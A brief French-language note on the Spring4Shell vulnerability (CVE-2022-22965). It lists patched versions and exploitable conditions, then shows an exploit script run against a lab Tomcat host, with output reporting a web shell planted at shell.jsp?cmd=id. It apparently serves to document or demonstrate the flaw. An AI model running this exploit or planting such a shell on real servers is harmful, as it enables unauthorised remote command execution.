
Spring4Shell
Spring Framework 5.3.18 et 5.2.20
Spring Boot 2.6.6 et 2.5.12
Spring Core est le composant central de Spring Framework. C'est la base pour construire les autres composants de l'écosystème Spring Framework, tels que Spring MVC, Spring Boot, Spring WebFlux. Le code d'exploitation est exécutable dans les conditions suivantes :
JDK 9 ou supérieur
Apache Tomcat exécute des conteneurs de servlets
Empaquetage WAR
Dépendances de packages : spring-webmvc ou spring-webflux
Si l'application est déployée sous forme de fichier jar exécutable Spring Boot, comme c'est le cas par défaut, elle ne sera pas affectée par cette faille de sécurité.
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id